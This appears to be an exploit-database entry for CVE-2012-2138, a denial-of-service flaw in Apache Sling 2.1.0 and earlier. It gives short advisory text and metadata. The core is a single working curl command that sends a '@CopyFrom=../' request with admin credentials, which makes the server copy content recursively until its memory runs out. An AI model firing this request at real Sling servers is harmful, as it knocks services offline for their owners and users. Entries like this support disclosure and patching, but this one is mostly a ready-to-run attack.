Apache Sling - Denial of Service

Author: IOactive
type: dos
platform: multiple
port: 0
date_added: 2012-07-06
date_updated: 2015-07-04
verified: 1
codes: CVE-2012-2138;OSVDB-83682
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source: https://www.securityfocus.com/bid/54341/info

Apache Sling is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, resulting in a denial-of-service condition.

Apache Sling 2.1.0 and prior are vulnerable.

 curl -u admin:pwd -d "" "http://example.com/content/foo/?./%40CopyFrom=../"